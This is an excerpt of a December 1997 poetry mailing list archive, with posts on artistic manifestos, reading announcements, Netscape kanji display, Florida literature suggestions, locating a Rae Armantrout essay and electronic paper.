This irony defeats the manifesto's original intent: it's hard to take seriously someone you're laughing at. At the supposed core of any manifesto is an idea, a principle, an article of faith, that the writer and signers of said manifesto not only believe in, but wish to persuade others that they should believe in it too. But if there are no borders left to maintain, then the manifesto's assertion of borders is laughable. What started as an important and necessary statement of principles (if this was ever true: a golden age where manifestos mattered might just be another form of nostalgia) has degenerated into a comic exercise.

Hugh Steinberg

↑ Index

326. Henry Gould
Re: manifestoes
Wed 17 Dec 1997

On the other hand, wouldn't the advent of something new tend to create new borders along with it, the way a rock thrown in the water makes waves? A manifesto is something like a trumpet fanfare; not just a statement of ideas but a statement nailed to the church door. There is of course something excessive, outrageous, silly about it - but something new always seems extra or out of place. Aren't most works of art examples of just such anomalous, excessive unexpectedness?

The real irony of manifestos is not that they're irrelevant in a milieu without borders; it's that the excessive or aggressive aspect of the manifesto is a calculated attempt to win over or be accepted - both more calculating and collaborating (with the public) than the artwork itself (if the art's really new. I'm not saying newness is a great criterion of value, either.) - Henry Gould

↑ Index

327. Charles Bernstein
New works on web
Wed 17 Dec 1997

I have two new essays now up:

"An Mosaic for Convergence" is part of the new issue of The Electronic Book Review, already mentioned on the list & all which is worth checking out: http://www.altx.com/ebr/ebr6/ebr6.htm (This work requires Netscape Navigator 3.02 or higher.)

"Unrepresentative Verse" (on Ginsberg and Eliot) was something I wrote for the Rutgers "Poetry and the Public Sphere" conference: http://english.rutgers.edu/bernstein.htm

↑ Index

328. Steven Marks
Re: wieners & bernstein
Wed 17 Dec 1997

On Wed, 17 Dec 1997, Maria Damon wrote:

> *a heavy dose of barrett watten, after his ILS tour de force. no comment yet.*

Speaking of the ILS, who is still laughing over some of the entries In "The Dictionary of Received Ideas"? And they say the avant-garde (or whatever it's called) has no sense of humor. Bah! Humbug!

hats off to all of the curmudgeons in Providence!

Satire is the antidote for the season.

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

329. Laurie Schneider/Crag Hill
Manifestos
Thu 18 Dec 1997

Dear Jacques: I can think of a number of N. American visual artist/poets who have written manifestos: Dick Higgins, Clemente Padin, b.p. nichol, Steve McCaffery, d.a.levy, Miekal And ... (I vaguely remember something Opal Nations wrote about a possible but non-existent art movement -- maybe David Bromige could recall this). I'll look up some titles and backchannel when I can. It will be intersting to see where your investigations lead. Has the body of work lived up to the manifesto? Was the manifesto heard or did it fall in a central Idaho forest with no human near? What's the ratio of political content/intent to aesthetic? Best, crag hill

↑ Index

330. **dbkk**
Ngai and Farrell at SPT
Thu 18 Dec 1997

Kevin and I are gratified by the big response to our offer to send out copies of the tribute to Kathleen Fraser in the latest issue of Mirage. Don't worry, we'll get to you all.

Dodie

Small Press Traffic presents:

Dan Farrell
Sianne Ngai

Friday, December 19, 7:30 p.m.
New College Theater
777 Valencia Street
San Francisco
$5

Dan Farrell was born in ³a Canadian log cabin,² he says. Could be true! He¹s the ³ex-co-editor of _BOO Magazine_, ex-foundless member of Kootenay School of Writing² (Vancouver, B.C.), and the author of _Thimking of You_. He now lives in Brooklyn NY, and his latest work appears in the inaugural issue of _Crayon_--the Festschrift for Jackson Mac Low¹s 75th birthday. Those of you with access to the World Wide Web can sample Farrell¹s poetry at <http://www.erols.com/dfar>, from which I pluck the following: ³willy frequency/ nilly admission/ or not aware of/ private economy/ overshadowing a/ dominant making/of a living and/ or overwhelming/ to common blurr.²

Sianne Ngai¹s books are _My Novel_ (Leave) and _Discredit_ (Burning Deck). Poems are forthcoming in _A.BACUS_. An essay (co-authored with Aviva Briefel) on Clive Barker¹s shivery race-relations film _Candyman_ appears in the current _Camera Obscura_ We¹re lucky her grandparents live here in San Francisco; otherwise we wouldn¹t get this chance to hear Ngai read from her poetry. It¹s a thoughtful and surprising body of work: imagine the strong clear music of Laura (Riding) Jackson crossed with the international chops and glamor of, mmm, Michelle Yeoh? Only five more shopping days till Christmas, or whatever; you deserve this poetry fix right now!

↑ Index

331. david bromige
The Dictionary of Received Ideas
Thu 18 Dec 1997

DICTIONNAIRE DES IDEES RECUES Unfinished compilation of art-chatter cliches by one of the 19th Century's more mordant and schizzy ("Madame Bovary, c'est moi") authors. Mention that it was of help in writing _Tight Corners_, thus establishing considerable precedence (1971). Best if ingested in small sections, like caramel-corn. "A blueprint to a novel never written."

DICTIONARY OF RECEIVED IDEAS Ample compilation of art-chatter cliches from Impercipient Lecture Series, just out and authored, on internal evidence, by Bob Perelman. Hilarious. "I devoured it at one sitting." Popcorn. Devastating. "It reads like a precis of my lectures over the past 26 years." "He should be horsewhipped." Is nothing sacred? A blueprint to prevent novel writing.

↑ Index

332. Miekal And
kanji
Thu 18 Dec 1997

this might be a stupid question, but Ive recently become interested in the japanese visual poetry & hypermedia scene via the internet, but the sites are almost impossible to view because netscape is language specific. I dont read a word of japanese but Id like to see the sites as they were intended. my question is there anyway to configure netscape to read kanji if I have the font in my system or do I have to use the japanese version of netscape?

miekal

↑ Index

333. Miekal And
experimedia simplexity: a manifesto festering
Thu 18 Dec 1997

from THE QUOTES OF ROTAR STORCH
edited by Miekal And
Runaway Spoon 1989

experimedia simplexity: a manifesto festering

every artist creates from the comfortable edge of their domain, trying, pushing, retreating, conjuring specimens that can be called their own. when I began my mature work some 10 years ago i was convinced that every discovery I made was my own & that I in essence possessed those ideas, those creations & in a

non-interactive vacuum perhaps this could be the reality.... however with the beginning of the xerox network (inknowingly the mutant child of the mimeo revolution of the 60's) in the 80's it became possible for any energetic artist to interface his/her work internationally & have that visual/verbal information assimilated in the global mind. instant, cheap printing has meant that every artist is a participating publisher/artist & that for really the first time in history the artist is in some control of the media they create. the notion of self-publishing is no longer an exercise in vanity but an integral link in fostering multiple strata of instantaneous culture.

here is where the quibbling begins, because we are faced with notions of aesthetics & communication which are more than a 100 years old & except for the experimental front there has been little reconciliation between the culture & what it has become & how rapidly it is permutating & the consequent art which is created.

poetry & fiction have been replaced by "the text" & the practice of any art has enlarged to intimacy with all arts, with an investigation into the culture beneath the culture. because information & ideas are bombarding our sphere so rapidly the procedure of invention & experimentation is simultaneous with instant printing, rapid communication & the chameleon quality of the artist. more appropriate terms for new art may be velocity, impact, shifting, compounding, etc rather than "this is a good poem, that's a bad painting." utility & erotics, perhaps are closer specifics. the sensations received & its usefulness completely bypass the critical facility until it becomes more than an unconscious reaction....

altho my work in publishing, performance, music & art are considered on the edge of the avant-garde, the whole notion of an avant-garde has pretty much been exhausted, if anything, this is the century of the avant-garde & the creations of the future have become demystified to the point of becoming commonplace, yet necessary. so instead there are those artists which have accepted stasis, repeating over & over the certainty of their statement & there are those artists who shed skin after skin, retaining the wisdom of the past experience but learning to accept an unending onslaught of information & culture. I liken stasis to living death, change to death & birth.

how many lives will it take to say what is yet to be said?

Miekal And
August 1986

↑ Index

334. Kathleen Crown
MLA Poetry Reading
Thu 18 Dec 1997

those of you headed to the Toronto MLA, or living in the Toronto area (the reading's open to the public) might be interested in this event:

A Poetry Reading by Kathleen Fraser, Sharon Doubiago,
Harryette Mullen, and Karen Brennan
Sunday, December 28, 5:15-6:30 Alberta (Royal York Hotel)
Cynthia Hogue & Aldon Nielsen presiding

in conjunction with the special session on "The Contemporary Long
Poem: Feminist Intersections and Experiments" with Jeanne Heuving,
chair; papers by Jenny Goodman, Elisabeth Frost, Kathleen Crown;
Joseph Conte and Laura Hinton, respondents.
Kathleen Crown
Rutgers English and Women's Studies
Conference Co-Coordinator, Poetry and the Public Sphere
510 George Street
New Brunswick, NJ 08901-1167
Home Ph: [redacted]
Dept. Fax: [redacted]
[redacted]

↑ Index

335. Miekal And
as the world turns
Thu 18 Dec 1997

Charles Bernstein wrote:
>
> I have two new essays now up:
>
> "An Mosaic for Convergence" is part of the new issue of The Electronic Book
> Review, already mentioned on the list & all which is worth checking out:
> http://www.altx.com/ebr/ebr6/ebr6.htm
> (This work requires Netscape Navigator 3.02 or higher.)

charles

read thru this essay & my first reaction is that I am surprised by what seems to be a real change of heart about hypermedia, the visual text & pure form versus intermedia constructions. I would say that based on this text you could become a very convincing hypermedia salesman. why just 10 years ago I remember

feeling like just such a salesman when talking with you. am I imagining such a change has taken place & if it has I would love to know more about what informs this change.

miekal

↑ Index

336. Jacques Debrot
Re: Manifestos ridiculous?
Thu 18 Dec 1997

For an extremely subtle and nuanced view of the manifesto check out Steve Evans's ILS lecture 1.1 "The Dynamics of Literary Change." There he treats, as implicitly a manifesto, several passages of Hegel's from the preface to *Phenomonology of Spirit* ("Hegel's whole point being" that there is little difference between manifesto and phenomonology). By way of Jean-Luc Nancy there is also this provocative attack on historicism: "Historicism in general is the way of thinking that *presupposes* that history has always already begun, and that therefore it always merely continues [whereas] it is precisely the question of beginning, of inaugurating or entering history that should constitute the core of the thinking of history." "The new," Evans writes, " is not one thing, the old another. They have meaning only in their diacritical relations to one another" though the "*relation* is . . . an antagonistic one." Concerning the new, however, it is not so much a question of time as it is the *timeliness* which "captures the way in which elements of a cultural system are inflected by their history even within the relative synchrony of a given epoch."

As is suggested by Evans's example from Hegel, manifestos take other forms -- particularly at the present time -- in prefaces, introductions, etc. -- See for instance John Yau's treatment of Moxley's preface to her *Imagination Verses* as a manifesto at: HTTP://WWW-POLISCI.MIT.EDU.BOSTONREVIEW/

↑ Index

337. KENT JOHNSON
Manifestos/Padin
Thu 18 Dec 1997

ON 17 December Craig Hill wrote:
> Dear Jacques:
> I can think of a number of N. American visual artist/poets who have
> written manifestos: Dick Higgins, Clemente Padin, b.p. nichol, Steve
> McCaffery, d.a.levy, Miekal And ...

Craig knows this, I'm sure, but just to clarify that Clemente Padin is not "Norh American" but Uruguayan--one of Latin America's most important visual/experimental poets (and important theoretician of the word as well). I have begun to correspond with Padin about the possibility of a North American book retrospective of his work, including a selection of his essays and manifestos.

If anyone out there knows Clemente or has relevant information about his multi-faceted work, his impact, etc. please do contact me.

I'll be out of town from today through Jan. 4. Feliz Navidad to all! Kent

↑ Index

338. Jordan Davis
Reading / manifestore
Thu 18 Dec 1997

It is not too early to come to Poetry City!
Today! Tonight at 7 pm Edwin Torres and Baron Ashanti read!
The reading is free!
We will give you food and wine!
We just ask that you buy a book from our book table!
Poetry City is a wholly-gnomed subsidiary of Teachers & Writers Collaborative Inc. plc & cie!
The offices of T&W are at 5 Union Square West, NYFC!
Around the office we call it Poetry Lesotho!

*

I had a manifesto once:

MANIFEST
O what is
the new
vague?

It is extreme and indefensible.

Good luck!
Jordan

↑ Index

339. **Safdie Joseph**
Re: Vacation
Thu 18 Dec 1997

I wanted to wish hearty congratulations to those of us who are on holiday now and probably for at least the next two weeks -- god knows we've earned it! I myself am traveling to South Florida in a couple of days armed only, so far, with DeLillo's _Underworld_ (finally), and wanted to know what poets I might think of including in my bookbag besides the obvious Crane and Stevens: any bards of that region I don't know about, and should?

↑ Index

340. **Jacques Debrot**
Re: Boston Review URL
Thu 18 Dec 1997

To all of those who have back channeled me about the Boston Review URL -- 2 mistakes: 1. the correct Boston Review URL is: www-polisci.mit.edu/bostonreview/ and 2. Unfortunately, for those who, unlike me, do not live near Boston, Yau's article appears in the December/January issue which has not yet been posted.

↑ Index

341. **r.drake**
Re: kanji
Thu 18 Dec 1997

m-

i havent used it, but in NS3.0, under "options" menu, there's a number of possibles fr "document encoding"; 3 japanese selections possible on my machine. let me know if it works, and ov sights you find ov interest

lbd

> *this might be a stupid question, but Ive recently become interested in the japanese visual poetry & hypermedia scene via the internet, but the sites are almost impossible to view because netscape is language specific. I dont read a word of japanese but Id like to see the sites as they were intended. my question is there anyway to configure netscape to read kanji if I have the font in my system or do I have to use the japanese version of netscape?*
>
> *miekal*

↑ Index

342. Sylvester Pollet
Re: Vacation
Thu 18 Dec 1997

Tennessee Williams. Kirby Congdon of Key West.

> *I wanted to wish hearty congratulations to those of us who are on holiday now and probably for at least the next two weeks -- god knows we've earned it! I myself am traveling to South Florida in a couple of days armed only, so far, with DeLillo's _Underworld_ (finally), and wanted to know what poets I might think of including in my bookbag besides the obvious Crane and Stevens: any bards of that region I don't know about, and should?*

↑ Index

343. Laura Moriarty
MLA talk, kiss-off and non
Thu 18 Dec 1997

Robert Kaufman will be giving a talk at the MLA for the Special Session called "Formalism": "Aesthetic Construction: Blakean Formalism and the Symmetries of Laura Moriarty." I wish I could be there to hear it, as well as for that great reading mentioned by Kathleen Crown, not to mention Susan Howe's talk which I seem to remember is the first day.

But I will be here not working. *Today is my last day at the Poetry Center after eleven years.* Oddly enough I am still really busy and may not have time to sign off this list. This email will stop working once the bureaucracy shuts it down. My new email is [redacted]. The Poetry Center can be contacted at [redacted]. But it might be better to call. All numbers and other info are up on our newly designed site at http://www.sfsu.edu./~newlit/welcome.htm

The sublime non will be up sometime in late Dec or early Jan. It is still open. New work in the emptiness issue has continued to go up - more will appear in the next week. http://socrates.berkeley.edu/~moriarty/

Anyone wanting tapes from the Center/Archives is encouraged to still want them. The remaining staff will be trying to respond to orders.

Over and out -

Laura Moriarty

↑ Index

344. Alan Myouka Sondheim
Re: kanji
Thu 18 Dec 1997

Netscape 3 should have it under document encoding - you need to have the script inside your computer (it's easy on Macs) - the new Netscape apparently can read it - we just hear this. Here, the Mac has a lot of scripts that do the translations.

Alan

On Thu, 18 Dec 1997, Miekal And wrote:

> *this might be a stupid question, but Ive recently become interested in the japanese visual poetry & hypermedia scene via the internet, but the sites are almost impossible to view because netscape is language specific. I dont read a word of japanese but Id like to see the sites as they were intended. my question is there anyway to configure netscape to read kanji if I have the font in my system or do I have to use the japanese version of netscape?*
>
> *miekal*

↑ Index

345. Juliana Spahr
reading report from Honolulu, two
Thu 18 Dec 1997

Reading report from Honolulu, two.

In November, Joe Balaz's journal the Oahu Review held a reading (I'm not sure how much this journal costs because those who attended the reading got a free copy and it doesn't have a price in it but I imagine any sort of reasonable donation would get you a copy of this "multicultural literary publication of Hawai'i." Send to: Iron Bench Press Box 44 Ka'a'awa, Hawai'i 96730.). 'Imaikalani Kalahele, T.M. Lafferty, Tony Quagliano, red flea (who also appeared as Richard Hamasaki), Susan Schultz, and Kathryn Waddell Takara among others read. Quagliano really stuck out at this reading because he read a poem about Bamboo Ridge that was so angry it made the audience gasp. I didn't take notes so don't quote me but I seem to remember it saying things like the writers of Bamboo Ridge should stop being such babies. It was dedicated to Wing Tek Lum. Quagliano accused him of being the only Bamboo Ridge poet that mattered. I realized at this reading that I like red flea's poems better on the page because they get too serious when he reads them and lose their playful, biting attacks.

He has a chapbook and c.d. out on Tinfish which is worth checking out. (Some interesting local poetry trivia is that Susan Schultz and red flea grew up in the same town in Virginia.) I also realized what a good story teller Kalahele is (he is also a painter and local activist). Also notable about this reading was the impressive spread of food afterwards. In fact there is excellent food at many readings in Hawaii. It puts the free wings at CPG in Buffalo to shame.

Also in November Kilali Alailima, Taueva Fa'otusia, Mary Tuti Baker, Ruth Tuiteleleapaga, Luafata Simanu-Klutz, and Dr. Papali'i Failautusi Avegalio read at a reading for Samoan, Tongan, and Hawaiian writers. It was held leeward side at Poka'i Bay. It really was paradise to sit on the grassy beach and hear things read outloud and the ocean at the same time and then eat some breadfruit afterwards. The reading was hours long but no one complained. It was such a nice location that I forgot to write anything about it in my notebook so I can't be very specific. But I remember Tuiteleleapaga's writing the clearest. She read some sparse, well-written stories about going home to Samoa after living in New York and dealing with her father. And I think, but I'm not positive, that it was Dr. Papali'i Failautusi Avegalio who read the story for children that argued that DNA tests suggest that the Mayans and northwestern Native Americans might be descended from Polynesians.

December started with Normie Salvador and Cabaret Tiki reading together. Salvador read a lot of heavily rhythmic poems that were part sci-fi, part deep image. He is interested in synesthesia. It was hard to hear him and a member of the audience used this an excuse for some local style chiding. The rest of the audience seemed a little embarrassed to have to be a part of this. When he read his next poem and asked if anyone could hear it, everybody clapped enthusiastically. Salvador also spoke of how many times people accuse him of writing poems that could have been written on the mainland because he doesn't write in pidgin. Then he read a poem he wrote in pidgin. He also did a lot of preaching between poems. And boy was Cabaret Tiki a surprise. With a name like that one would expect lots of boas to be worn. But instead it was a large group of younger men and women in those ever popular muted aloha shirts doing comedy sketches. Two sketches stood out. One called "Haole Go Home" (I don't think I can begin to describe the complicated nuances in this piece and I'm not even sure I got them all because I've only been here five months and still feel out of things local a lot of the time) and then another called "How to Raise a Successfully Asian Child." Both had the audience laughing hard but Douglas Rothschild, visiting from New York, found them racist. When I discussed them with him later, I had that I can't possibly explain what is going on here in Hawaii to anyone in terms that make any sense. I think the necessary vocabulary is missing or something. But it has something to do with the cliché of

Hawaii being both a paradise of cross-racial communication and community and at the same time openly racist.

The next night we held a small unannounced and spontaneous poetry reading and picnic at Sans Souci beach for Douglas. Bill made pizza and Charles made cole slaw (but the cole slaw got left at home in the refrigerator by accident) and we brought some beers. (I didn't make anything!) Susan brought a pie and Bryant brought some cookies and Gabrielle brought some muffins, jam, and cream. In the dark, with all of us a little high on too much sugar, we first looked at the aligned planets and then listened to Douglas read poems from Matchbox (New York: Situations, 1997).

And then ending December, Alison Deming (visiting UH,M from Tucson) read poems about butterflies, flora and fauna, indigenous tourism, and things like “the sweet togetherness of women.” She likes the word science and says it with emphasis when it appears in her poems. One of her students introduced her reading with such love, devotion, and humor that it was touching.

I think next on the slate is that the local IWW chapter is having a reading, music, and sharing of food gathering on December 23 but I’m going to be on my way to Raleigh, North Carolina so I will miss it. Maybe someone else will report in.

Juliana Spahr

↑ Index

346. **Pierre Joris**

Re: Vacation

Thu 18 Dec 1997

---

add Thomas McGuane to that list -he has a lovely fast novel set in Key West -- & do check out ole Hem's ole house -- the cats alone are worth it -- doggone, I'd rather be there than in Toronto -- happy Easter -- Pierre

Sylvester Pollet wrote:

> *Tennessee Williams. Kirby Congdon of Key West.*
>
> *I wanted to wish hearty congratulations to those of us who are on holiday now and probably for at least the next two weeks -- god knows we've earned it! I myself am traveling to South Florida in a couple of days armed only, so far, with DeLillo's _Underworld_ (finally), and wanted to know what poets I might think of including in my bookbag besides the obvious Crane and Stevens: any bards of that region I don't know about, and should?*

--
==========

pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Adding music to a good poem is like using a stained-glass
window to light a painted picture. — Paul Valéry
==========

↑ Index

347. Carolyn Guertin
Manifesto for the Unstable Media
Thu 18 Dec 1997

From the artists' collective/studio/gallery/electro-art centre called V2 in the Netherlands:

Manifesto for the Unstable Media

We strive for constant change; for mobility.
We make use of the unstable media, that is, all media which make use of electronic waves and frequencies, such as engines, sound, light, video, computers, and so on.
Instability is inherent to these media.

Quantum mechanics has proved, among other things, that the smallest elementary particles, such as electrons, exist in ever-changing forms. They have no stable form, but are characterized by dynamic mobility. This unstable, mobile form of the electron is the basis of the unstable media.

The unstable media are the media of our time. They are the showpieces in our modern homes. We promote their comprehensive use, instead of the often practised misuse of these media.

We love instability and chaos, because they stand for progress. We do not see chaos as survival of the fittest, but as an order which is composed of countless fragmentary orders, which differ among themselves and within which the prevailing status quo is only a short orientation point.

The unstable media move within the concepts of 'movement-time-space', which implies the possibility of combining more forms and contents within one piece of work. The unstable media reflect our pluriform world.

Unstable media are characterized by dynamic motion and changeability, this in contrast with the world of art which reaches us through the publicity media. This has come to a standstill and has become a budget for collectors, officials, historians and critics.

Art must be destructive and constructive.

V2
Originally published in Dutch, 1988
Quoted in _Boek Voor de Instabiele Media/Book for the Unstable Media_, V2-Organization, 1992

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: http://www.ualberta.ca/~cguertin/Guertin.htm

"Aldus [Manutius] is creating a library which has no boundaries other than the world itself." -- Erasmus

↑ Index

348. joel lewis
rhythmic grumbling department
Fri 19 Dec 1997

FROM INFOBEAT SERVICE (f.y.i.)

*** Londoners hear Eliot poem amid damp ruins

What would induce Londoners to line up for a show in a damp, derelict theater as temperatures drop below freezing? The surprising answer is American-born T.S. Eliot's famous poem "The Waste Land." The show has sold out every night this week at an abandoned Victorian music hall, the oldest of its kind in the world, which has been gathering dust and cobwebs since 1880. The popularity of a poetry reading amid London's dazzling array of musicals and plays is all the more surprising near Christmastime, when many theatres are abuzz with glitzy offerings. See http://www.infobeat.com/stories/cgi/story.cgi?id=6501027-295

↑ Index

349. John Cayley
kanji
Fri 19 Dec 1997

On the Mac, it is not enough just to set document encoding to one of the Japanese standards in your browser, you must also have at least one Japanese font installed on your system and also the latest Worldscript extensions and also (I think, although maybe the font and worldscript are enough) the 'Japanese Language Kit' (you'd definitely need the latter for *inputting/editing* Japanese.

The situation is basically the same for Chinese (excepty you need Chinese fonts, etc.) on the Mac, which is where I have direct experience.

I am not so clear about how Wintel copes.

Bests,

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < - - - - - - -
- -

↑ Index

350. David Israel
Re: Vacation
Fri 19 Dec 1997

Pierre Joris asked abt. Floridian literature -- did you ask only for poetry?

After many years I'm just starting to re-read Denis Johnson's novel *Fiskadoro* (1985; Vintage Contemporaries), and enjoying same It's set in a post-apocalypse South Florida.

For poetry vis-a-vis FL, Robert Creeley's longish poem of a couple years ago comes to mind -- though I don't know if (or where) this may've appeared in print. (Of course, his vantage was that of the visitor . . .)

I've enjoyed some work by Florida poet Susan Mitchell -- some of the *Rapture* poems were (for me) a good bit easier to get into than the subsequent *The Will to Adore* (I think is the title). Long ago, also read from Mitchell's first volume, *The Water Inside the Water* (Wesleyan I think) -- but not certain whether she was a Floridian at that point. Florida & its landscapes does figure in some fine poems in *Rapture*. I'd imagine Mitchell might be esteemed overly mainstream [the M word, as 'twere] -- whether in manner, or in publishing history, could be a hemi-question) to interest some current company, but would also suppose that such membranes remain semi-permeable. Perhaps Mitchell can be thought of as a post-Stevens poet.

anyway, bon voyage --
d.i.

↑ Index

351. Henry Gould
recommended drudgery
Fri 19 Dec 1997

I see in the new _Dictionary of Received Ideas_ from ILS (which undoubtedly will become the indispensable reference tool for double-edged young shavers and sitting-on-the-fencing masters alike), that the definition for "prosody" is "The secret of the art is lost." This is pretty accurate, and reminded me of the

incredibly thorough entry on "prosody" in another reference work, the good old Princeton Encyclopedia of Poetry & Poetics. It ain't Saintsbury, & it ain't countin on your fingers, Jack. Well worth perusing.

Another entry worth slogging through is the one on "Verse & Prose". I would particularly recommend this one to Bob Grumman, who was wondering on here recently how to catalog prose poetry in his system. One of the comments in "V & P" is that lineated, metrical verse is actually closer to speech than prose is, and that drama only became thoroughly prosaic with the hegemony of the novel. I thought this was an interesting comment with implications for anybody who wants to write verse plays. We all know drama became prosaic in the 18-19th cent. - but that spoken lang. has closer affinities with verse than prose is worth thinking about. The big push in American 20th cent. poetry to bring "the virtues of prose" into poetry, in various ways, might have missed somethin. Do we's all know dis already? Am's I borin' you?

- Henry Gould, your Friendly Drive-by Sub-Sub-Librarian

↑ Index

352. **Bob Grotjohn**
Looking for an essay
Fri 19 Dec 1997

---

8 or 10 (more? less?) years ago, I read an essay by Rae Armantrout about the relationship between feminism and experimental writing. I can't find the citation, and I would like to look at the essay. Can anyone help?

Thanks.
--
Bob Grotjohn

↑ Index

353. **David Kellogg**
Re: Looking for an essay
Fri 19 Dec 1997

I think the piece you're referring to was in _Parnassus_, but I don't have the exact citation.
~~~
~~~

-----Original Message-----
From: Bob Grotjohn <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, December 19, 1997 10:55 AM
Subject: Looking for an essay

> *8 or 10 (more? less?) years ago, I read an essay by Rae Armantrout about the relationship between feminism and experimental writing. I can't find the citation, and I would like to look at the essay. Can anyone help?*
>
> *Thanks.*
> *--*
> *Bob Grotjohn*

↑ Index

354. **Robin Morris**
Re: Vacation
Fri 19 Dec 1997

Bards of Key West: Elizabeth Bishop is a must!

At 01:19 PM 12/18/97 -0500, you wrote:
>Tennessee Williams. Kirby Congdon of Key West.
>
>>I wanted to wish hearty congratulations to those of us who are on
>>holiday now and probably for at least the next two weeks -- god knows
>>we've earned it! I myself am traveling to South Florida in a couple of
>>days armed only, so far, with DeLillo's _Underworld_ (finally), and
>>wanted to know what poets I might think of including in my bookbag
>>besides the obvious Crane and Stevens: any bards of that region I don't
>>know about, and should?
>
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

355. **Herb Levy**
Re: Looking for an essay
Fri 19 Dec 1997

"Why Don't Women do Language-Oriebted Writing by Rae Armantrout was in L=A=N=G= (etc), but should be more easily found in the L=A=N=(etc) Book edited by Andrews/Bernstein, or In the American Tree edited by Silliman.

> *8 or 10 (more? less?) years ago, I read an essay by Rae Armantrout about the relationship between feminism and experimental writing. I can't find the citation, and I would like to look at the essay. Can anyone help?*
>
> *Thanks.*
> *--*
> *Bob Grotjohn*

Herb Levy
[redacted]

↑ Index

356. **William Burmeister Prod**
Re: recommended drudgery
Fri 19 Dec 1997

> *Another entry worth slogging through is the one on "Verse & Prose". I would particularly recommend this one to Bob Grumman, who was wondering on here recently how to catalog prose poetry in his system. One of the comments in "V & P" is that lineated, metrical verse is actually closer to speech than prose is, and that drama only became thoroughly prosaic with the hegemony of the novel. I thought this was an interesting comment with implications for anybody who wants to write verse plays. We all know drama became prosaic in the 18-19th cent. - but that spoken lang. has closer affinities with verse than prose is worth thinking about. The big push in American 20th cent. poetry to bring "the virtues of prose" into poetry, in various ways, might have missed somethin.*

Also interesting to me here are the implications for verse plays. No doubt that drama (as it has been known) has become prosaic, but my thought is that the prosaic drama of the now is not the prosaic drama of the 19th century for reasons contra those of the dictionary. As the "V & P" entry said, it was the hegemony of the novel that brought this about (a statement I can take two ways I think). I'm just unsure of metrical verse being closer to speech than prose. Like "mainstream" verse, drama certainly appears to have gone from verse to prose: in this case "prose-aic." We are seeing the comeback of verse into prose now too. A lot is being done now in drama, or has been done with verse plays that is anything but prosaic. This is mostly because the language of the original works,

or translations are in remade language. I am thinking of translations by Zukofsky (from Plautus); from Charles Boer (Ovid). I also am thinking of "word plays" by Kathy Acker and others.

Best,

William Burmeister

↑ Index

357. **RaeA100900**
Re: Looking for an essay
Fri 19 Dec 1997

It was in Sagetrieb; it's called "Feminist Poetics And The Meaning of Clarity. It wasn't that long ago either. It was originally a paper I did at the ALA in San Diego in maybe '92 or 93. It's probably in a '93 issue of Sagetrieb. Would you believe I'm too lazy to go look?

Rae Armantrout

↑ Index

358. **RaeA100900**
Re: Looking for an essay
Fri 19 Dec 1997

Oh yeah, that one. I forgot about that. That is really, really old. Check out the newer one too.

Rae

↑ Index

359. **Michael Coffey**
Re: Vacation -Reply
Fri 19 Dec 1997

---

you might consider peter matthiessen's novel Killing Mister Watson, an unforgettable evocation of turn of the century florida, a wild west of the swamps; his sequel to Watson is just out, and brings the saga forward a few generations, but i haven't read that yet. But the first is a gem.

>>> Safdie Joseph <[redacted]> 12/18/97 12:23pm >>>
I wanted to wish hearty congratulations to those of us who are on holiday now and probably for at least the next two weeks -- god knows we've earned it! I myself am traveling to South Florida in a couple of days armed only, so far, with DeLillo's _Underworld_ (finally), and wanted to know what poets I might think of including in my bookbag

besides the obvious Crane and Stevens: any bards of that region I don't know about, and should?

↑ Index

360. **Bob Grumman**
Re: recommended drudgery
Fri 19 Dec 1997

This is a multi-part message in MIME format.

Thanks Hank: I just lookt at the Princeton entry on Verse and Prose and it looks like lots of fun. Should help me. Dunno why I haven't read it hitherto. Or maybe it's because I came down to the verse prose problem from poetries the Princeton pretty much ignores, particularly visual poetry.

As for metered verse being closer to speech than prose is, that sorta makes sense since verse would be spoken, and thus would tend to avoid the ramble of prose that can be studied and backtracked. Also prose might tend to emphasize ideas and forget rhythm--indeed, not need it. Just quick thoughts off your report.

By the way, for all you Comprepoetica-Watchers, I now have 40 bios up, although not all are properly processed. There's a partial one, finally, on me, too. I want more, though!

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------3C432F4924C4--

↑ Index

361. **Miekal And**
electronic paper
Sat 20 Dec 1997

Even paper is being given a facelift for the next millenium:

"The MicroMedia Laboratory, which is a part of the MIT Media Laboratory, is focused on creating new electronic media and contains many different projects. The picture you see above demonstrates our goal of creating paper with microencapsulated cells that can freely rotate. Applying electrical charge to these capsules change their orientation and thus the same cells can display different images. "

http://physics.www.media.mit.edu/mm/home.html

↑ Index

362. **rsillima**
Rae's essay
Sat 20 Dec 1997

It's in Sagetrieb, Vol. 11, No. 3, Winter 1992, pp. 7-16.

Ron

↑ Index

363. **David Kellogg**
Rae and cladistics; signing off till early January
Sat 20 Dec 1997

How many different essays turned out to be "answers" to the initial question? What an interesting exercise this turned out to be!

I'm signing off till I come back to Duke around January 3. I can be reached backchannel till Christmas day.

For those of you going to MLA, I will be staying at the Sheraton Centre Toronto if anybody's interested in going out for a drink. No doubt I'll see some of you at various readings etc. Don't forget the Marxist cash bar -- my favorite MLA event.

Cheers,
David
~~~
~~~

> *Dick, Press button 2 and it's Jimmy Carter's poems or maybe Tolstoy or Danielle Steele, or Jay Leno's memoirs. The pages would simply reconfigure into different words and images. But it would still have that comfy "look & feel" of the printed word.*

as well I would imagine that one would be able to create texts that read differently everytime you open the book, that are intelligent & learn what you as a reader like & dislike & evolve with the reader's participation. & further that each person would only need one book & if you needed a change of pace, plug that puppy into the internet or whatever mega storage (Xanadu?) is operable at the time & charge the pages with fresh words/authors/languages.

now if only they could figure out how to get that letterpress feel.

↑ Index

365. **rsillima**
Electronic Paper
Sun 21 Dec 1997

Miekel,

People have been working on electronic paper for some time now. The goal, it seems, would be to publish a decent lasting book as object, with many books hidden inside as content. Press button 1 on the spine and the book is Moby Dick, Press button 2 and it's Jimmy Carter's poems or maybe Tolstoy or Danielle Steele, or Jay Leno's memoirs. The pages would simply reconfigure into different words and images. But it would still have that comfy "look & feel" of the printed word.

